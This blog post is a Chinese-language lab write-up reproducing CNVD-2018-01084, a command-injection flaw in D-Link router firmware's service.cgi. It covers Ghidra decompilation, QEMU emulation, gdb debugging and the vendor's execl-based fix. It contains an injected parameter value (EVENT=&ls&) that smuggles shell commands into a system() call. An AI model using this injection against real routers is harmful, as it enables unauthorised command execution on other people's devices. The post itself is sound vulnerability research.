CNVD-2018-01084 漏洞复现

Catalpa 网络安全爱好者

CNVD-2018-01084 是 Dlink 系列路由器的一个漏洞,影响设备包括 DIR 615/645/815 路由器。

漏洞存在于 /htdocs/cgibin 二进制文件中,漏洞成因是 service.cgi 中未经任何过滤检查就将用户的输入拼接到原始命令中,导致任意代码执行。

环境搭建

首先下载存在漏洞的固件,地址 ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/

我下载的是 1.02 版本,这个漏洞在 1.03 以上版本被修复了,注意不要下错。

固件为 MIPS 架构,所以需要利用 QEMU 来模拟执行,关于 QEMU 和环境的具体搭建流程可以参考我上一篇文章 https://wzt.ac.cn/2019/03/19/CVE-2018-5767/

这个固件属于 CGI(通用网关接口),所以不需要搭建网络环境即可运行。

装好必要的软件之后使用命令

1
sudo chroot . ./qemu -g 10000 ./htdocs/cgibin

即可运行程序,如果添加了 -g 选项,那么在外部使用 gdb 链接到 10000 端口就能调试程序了。

运行起来会提示

1
CGI.BIN, unknown command cgibin

这是正常现象,因为我们还没有访问任何 CGI 服务。

逆向分析

由于是 MIPS 程序,IDA 的反编译插件不能解析伪代码,在之前我们只能硬着头皮看汇编,或者利用 RETDEC 大概看看函数调用关系,但是今年上半年 NSA 发布了 Ghidra,相信大家都有所耳闻,到现在已经迭代了 5 个版本,在 GITHUB 上可以下载到最新的 9.0.4 版本源代码。

如果不想手动编译的可以直接去官方网站下载 release 版本。

Ghidra 虽然速度和交互性弱于 IDA,但是它能反编译 mips 等 IDA 暂不支持的架构,这次我们就利用它来完成逆向分析。

打开 Ghidra 新建项目,并导入 cgibin 文件,让 ghidra 自动分析:

在左边的函数窗口中有一个搜索栏,搜索 main 即可找到 main 函数,点击汇编窗口,右侧的反编译窗口就自动出现的 main 函数的伪代码:

反编译的效果感觉和 IDA 的不相上下,只是交互性和细节上差一些。

根据披露信息,漏洞位于 service.cgi 中,在 main 函数找一找就能找到这一项:

1
2
3
4
5
6
7
8
9
10
else {
iVar2 = strcmp(__s,"pigwidgeon.cgi");
if (iVar2 == 0) {
UNRECOVERED_JUMPTABLE = pigwidgeoncgi_main;
}
else {
iVar2 = strcmp(__s,"service.cgi");
if (iVar2 == 0) {
UNRECOVERED_JUMPTABLE = servicecgi_main;
}

观察代码发现 cgibin 从 web 端接受了请求,然后取出 URL 中的访问参数,筛选出对应的 cgi 服务,并调用相关函数。

Service.cgi 对应的是 servicecgi_main 函数,伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116

int servicecgi_main(void)

{
undefined *__ptr;
char *__s1;
int *piVar1;
int iVar2;
void *__ptr_00;
uint uVar3;
char *__format;
int iVar4;
char acStack280 [260];

memset(acStack280,0,0x100);
__s1 = getenv("REQUEST_METHOD");
if (__s1 == (char *)0x0) {
__s1 = "No HTTP request";
goto LAB_0040ab48;
}
iVar4 = strcasecmp(__s1,"POST");
if (iVar4 == 0) {
uVar3 = 0x400;
LAB_0040aad0:
iVar4 = cgibin_parse_request(FUN_0040adcc,0,uVar3);
if (iVar4 < 0) {
__s1 = "Unable to parse HTTP request";
}
else {
iVar4 = sess_ispoweruser();
if (iVar4 != 0) {
iVar2 = FUN_0040a950("EVENT");
__s1 = (char *)FUN_0040a950("ACTION");
iVar4 = FUN_0040a950("SERVICE");
if (iVar2 == 0) {
if ((iVar4 != 0) && (__s1 != (char *)0x0)) {
iVar2 = strcasecmp(__s1,"START");
if (iVar2 == 0) {
__s1 = "service %s start > /dev/null";
}
else {
iVar2 = strcasecmp(__s1,"STOP");
if (iVar2 == 0) {
__s1 = "service %s stop > /dev/null";
}
else {
iVar2 = strcasecmp(__s1,"RESTART");
if (iVar2 != 0) {
__format = "Unknown action - \'%s\'";
goto LAB_0040ab00;
}
__s1 = "service %s restart > /dev/null";
}
}
goto LAB_0040ac38;
}
}
else {
__s1 = "event %s > /dev/null";
iVar4 = iVar2;
LAB_0040ac38:
lxmldbc_system(__s1,iVar4);
}
memset(acStack280,0,0x100);
iVar4 = 0;
goto LAB_0040ac7c;
}
__s1 = "Not authorized";
}
LAB_0040ab48:
snprintf(acStack280,0x100,__s1);
}
else {
iVar4 = strcasecmp(__s1,"GET");
if (iVar4 == 0) {
uVar3 = 0x40;
goto LAB_0040aad0;
}
__format = "Unsupport HTTP request - %s";
LAB_0040ab00:
snprintf(acStack280,0x100,__format,__s1);
}
iVar4 = -1;
LAB_0040ac7c:
puts("HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r");
puts("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
puts("<report>");
if (iVar4 == 0) {
__s1 = "OK";
}
else {
__s1 = "FAILED";
}
printf("\t<result>%s</result>\n",__s1);
printf("\t<message>%s</message>\n",acStack280);
puts("</report>");
cgibin_clean_tempfiles();
while (__ptr = PTR_LOOP_00420120, (undefined **)PTR_LOOP_00420120 != &PTR_LOOP_00420120) {
piVar1 = *(int **)(PTR_LOOP_00420120 + 4);
iVar2 = *(int *)PTR_LOOP_00420120;
__ptr_00 = *(void **)(PTR_LOOP_00420120 + 8);
*piVar1 = iVar2;
*(int **)(iVar2 + 4) = piVar1;
*(undefined4 *)__ptr = 0;
*(undefined4 *)(__ptr + 4) = 0;
if (__ptr_00 != (void *)0x0) {
free(__ptr_00);
}
if (*(void **)(__ptr + 0xc) != (void *)0x0) {
free(*(void **)(__ptr + 0xc));
}
free(__ptr);
}
return iVar4;
}

稍微观察一下发现函数内部先处理传递进来的 HTTP 请求,但是这里的请求处理流程很奇怪,利用 getenv 函数从系统环境变量中获取请求字段。

查找文件内容之后发现了调用 cgi 的文件,使用命令在 htdocs 目录查找所有包含 cgi 字符串的文件:

1
grep -rn "cgi" *

得到输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
匹配到二进制文件 cgibin
web/js/comm.js:393: ajaxObj.sendRequest("hedwig.cgi", xml.XDoc);
web/js/comm.js:396:/* submit the action type to pigwidgeon.cgi for caching(saving) config or restarting service */
web/js/comm.js:409: ajaxObj.sendRequest("pigwidgeon.cgi", payload);
web/js/postxml.js:44: AJAX.sendRequest("captcha.cgi", "DUMMY=YES");
web/js/postxml.js:73: AJAX.sendRequest("session.cgi", payload);
web/js/postxml.js:89: AJAX.sendRequest("session.cgi", payload);
webinc/js/wiz_wan_fresetv6.php:859: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/bsc_sms_inbox.php:123: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/adv_qos.php:627: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/tools_system.php:67: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/tools_time.php:318: ajaxObj.sendRequest("service.cgi", "SERVICE=DEVICE.TIME&ACTION=RESTART");
webinc/js/tools_time.php:360: ajaxObj.sendRequest("service.cgi", "SERVICE=DEVICE.TIME&ACTION=RESTART");
webinc/js/adv_wps.php:230: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/tools_sys_ulcfg.php:67: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/st_ipv6.php:17: ajaxObj.sendRequest("service.cgi", "EVENT="+EventName);
webinc/js/tools_firmware.php:39: ajaxObj.sendRequest("service.cgi", "EVENT=CHECKFW");
webinc/js/tools_email.php:153: ajaxObj.sendRequest("service.cgi", "EVENT=SENDMAIL");
webinc/js/st_device.php:17: ajaxObj.sendRequest("service.cgi", "EVENT="+EventName);
webinc/js/wiz_freset.php:1103: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/adv_dlna.php:179: ajaxObj.sendRequest("service.cgi", "EVENT="+EventName);
webinc/js/adv_routingv6.php:173: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/js/bsc_lan.php:1027: ajaxObj.sendRequest("service.cgi", "EVENT="+svc);
webinc/body/tools_system.php:8: <form id="dlcfgbin" action="dlcfg.cgi" method="post">
webinc/body/tools_system.php:18: <form id="ulcfgbin" action="seama.cgi" method="post" enctype="multipart/form-data">
webinc/body/tools_firmware.php:63:<form id="fwup" action="fwup.cgi" method="post" enctype="multipart/form-data">

基本都是在 js 中调用的 service.cgi,例如 tools_system.php:

1
2
3
4
5
6
7
8
9
10
11
ajaxObj.createRequest();
ajaxObj.onCallback = function (xml)
{
ajaxObj.release();
if (xml.Get("/report/result")!="OK")
BODY.ShowAlert("Internal ERROR!\nEVENT "+svc+": "+xml.Get("/report/message"));
else
BODY.ShowCountdown(banner, msgArray, sec, url);
}
ajaxObj.setHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxObj.sendRequest("service.cgi", "EVENT="+svc);

类似的还有很多,web 端通过 js 构造请求,并将请求发送到 cgibin 进行进一步处理。

回到代码上,首先获取了 REQUEST_METHOD 字段,判断是否为 POST,然后进入 cgibin_parse_request 函数进一步解析 HTTP 请求。

cgibin_parse_request 函数中构造了 sobj 结构体,函数大致功能是取出 CONTENT_TYPE、CONTENT_LENGTH、REQUEST_URI 这几个请求字段,进行进一步操作。

关键点在于 REQUEST_URI,它表示了当前请求的访问参数,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__nptr_00 = getenv("REQUEST_URI");
if (__nptr_00 == (char *)0x0) {
iVar4 = -1;
}
else {
/* get '?' */
__nptr_00 = strchr(__nptr_00,0x3f);
iVar4 = 0;
if (__nptr_00 != (char *)0x0) {
local_38 = 0;
sVar2 = strlen(__nptr_00 + 1);
FUN_00402dc0(&local_38,(int)(__nptr_00 + 1),sVar2);
FUN_00402dc0(&local_38,0,0);
iVar4 = 0;
}
}

从 REQUEST_URI 中定位 ? ,然后取出问号之后的内容,计算长度。

函数 FUN_00402dc0 的主要功能是对取出的参数进行 URLdecode,并写入某块内存区域。

当 cgibin_parse_request 函数完成了 HTTP 请求解析动作,并且正确的返回,servicecgi_main 函数会继续下一步操作。

首先检查当前用户 session 是否为管理员,对应函数是 sess_ispoweruser,由于在模拟环境中,这个函数无法获取到 session,我们可以直接 patch 掉这个函数。身份验证成功之后继续解析 REQUEST_URI 的内容,涉及的指令有三个:EVENT、ACTION、SERVICE。

观察代码发现 EVENT 的限制最少,当解析到 EVENT 的时候跳出 if 判断,进入 else 流程;

1
2
3
4
5
6
else {
__s1 = "event %s > /dev/null";
iVar4 = iVar2;
LAB_0040ac38:
lxmldbc_system(__s1,iVar4);
}

关键函数为 lxmldbc_system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

void lxmldbc_system(char *pcParm1,undefined4 uParm2,undefined4 uParm3,undefined4 uParm4)

{
undefined4 local_res4;
undefined4 local_res8;
undefined4 local_resc;
char acStack1036 [1028];

local_res4 = uParm2;
local_res8 = uParm3;
local_resc = uParm4;
vsnprintf(acStack1036,0x400,pcParm1,&local_res4);
system(acStack1036);
return;
}

根据传入的参数,这个函数直接使用 vsnprintf 将 “event %s > /dev/null” 和和用户传入的 EVENT 拼接,并利用 system 执行。

这里显然存在命令注入漏洞,注入的格式大概是;

1
echo "Hello"&ls&pwd

运行上面的命令可以同时得到三条指令的结果。

如果我们构造 EVENT=&ls&,那么拼接出来的结果就是 event &ls& > /dev/null,从而完成任意命令执行。

调试

1
Update(2021-02-24):当 IDA 使用原生 gdb 调试的时候,会弹出警告信息,提示我们 IDA 无法读取某些内存区域的数据,通常来说这是正常情况,想要读取目标内存数据的话可以手动设置地址范围,具体做法大家可自行搜索。

根据逆向分析的结果,我们需要手动传入一些参数以防止程序自动退出。按照网上的教程构造如下命令:

1
sudo chroot . ./qemu -0 "service.cgi" -g 10000 -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=10 -E REQUEST_URI="service.cgi?EVENT=%26ls%26"  -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE="uid=aaaaa" ./htdocs/cgibin

qemu 利用 -0 传入第一个参数,满足 main 函数的需求,进入 servicecgi_main 函数。

利用 -E 选项传入自定义的环境变量,满足判断,REQUEST_URI 中包含待注入的命令(URL 编码)。

在终端运行后打开 gdb-multiarch

1
2
file ./htdocs/cgibin
target remote 127.0.0.1:10000

两条命令连接到 cgibin 进程上面:

按照程序逻辑我们在 0x0040aad8 下断点,然后运行程序

当返回 gdb 界面的时候 v0 可能是 -1,代表 cgibin_parse_request 的逻辑判断失败。不要慌,我们手动 patch 程序逻辑到正确的分支即:0x0040AB20。这里和网上的文档不同,我猜测是 qemu 的环境问题。

1
set $pc = 0x40ab20

接下来执行到 sess_ispoweruser 函数,程序会进入 20 秒左右的假死状态.

此处我们可以打开 -strace 寻找原因,修改启动命令,添加 -strace 选项再执行,到了 sess_ispoweruser 函数窗口会打印一堆信息:

问题在于 qemu 模拟环境中找不到 /var/session 文件,但是函数一直尝试去获取 session,导致程序卡在这里循环。

去除 strace 选项继续调试,patch 掉 session 验证函数,转移到正确分支:0x0040AB58,接着就可以直接在存在漏洞的函数头部下断点了,地址是:00410f14

继续执行 gdb 断在 lxmldbc_system 函数头部,单步调试看到 vsnprintf 函数的几个参数:

显然是把字符串 “&ls&” 拼接到了 “event %s > /dev/null” 中,来到 system 函数内部,参数为:

命令注入成功。

但是不要高兴的太早,如果继续执行程序有很大可能只会打印出如下信息:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<report>
<result>OK</result>
<message></message>
</report>

我们已经注入了 ls 命令,为什么没有效果呢?

再次打开 strace(注意跳过 sess_ispoweruser 函数)

这里找到了答案,execve 系统调用错误,显示找不到文件。后来在大佬的文章上看到这是 qemu 的锅,我的 qemu 是用 apt 安装的,版本在 2.5.0,这个版本的 qemu user 模式没有实现 execve 函数。需要下载 qemu 2.9 版本并且加上 -execve 参数才行(这么说我上一篇漏洞也是由于 qemu 的问题才起不来 shell QAQ)。

关于 2.9 qemu 加 patch 的问题,没有太多的教程,不过我发现 QEMU 3.0.0 版本存在一个 -sandbox 选项,内部有如下描述

1
2
use 'elevateprivileges' to allow or deny QEMU process to elevate its privileges by blacklisting all set*uid|gid system calls.
The value 'children' will deny set*uid|gid system calls for main QEMU process but will allow forks and execves to run unprivileged

不知道是不是官方添加的 execve 系统调用?

最后看一下官方的修复手段:

下载比较新的固件(1.03 以上),用 Ghidra 打开,直接定位到存在漏洞的函数附近:

发现函数的参数传递变成了 文件路径 + 参数形式。进入函数内部:

修复手段简单粗暴,直接 fork 出一个新的进程,然后关闭 stdout,利用 execl 执行命令。

由于 execl 的特性,我们再注入的命令就无效了。例如下面两个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int main()
{
printf("execl test\n");
char* var1 = "/bin/ls";
char* var2 = "ls";
char* var3 = "-la";
char* var4 = "/etc/passwd";
int ret = execl(var1, var2, var3, var4, (char*)0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int main()
{
printf("execl test\n");
char* var1 = "/bin/ls";
char* var2 = "ls";
char* var3 = "-la";
char* var4 = "/etc/passwd&ls&";
int ret = execl(var1, var2, var3, var4, (char*)0);
}

大家可以自行编译运行查看结果。

  • Title: CNVD-2018-01084 漏洞复现
  • Author: Catalpa
  • Created at : 2019-09-05 00:00:00
  • Updated at : 2024-10-17 08:39:33
  • Link: https://wzt.ac.cn/2019/09/05/CNVD-2018-01084/
  • License: This work is licensed under CC BY-SA 4.0.
On this page
CNVD-2018-01084 漏洞复现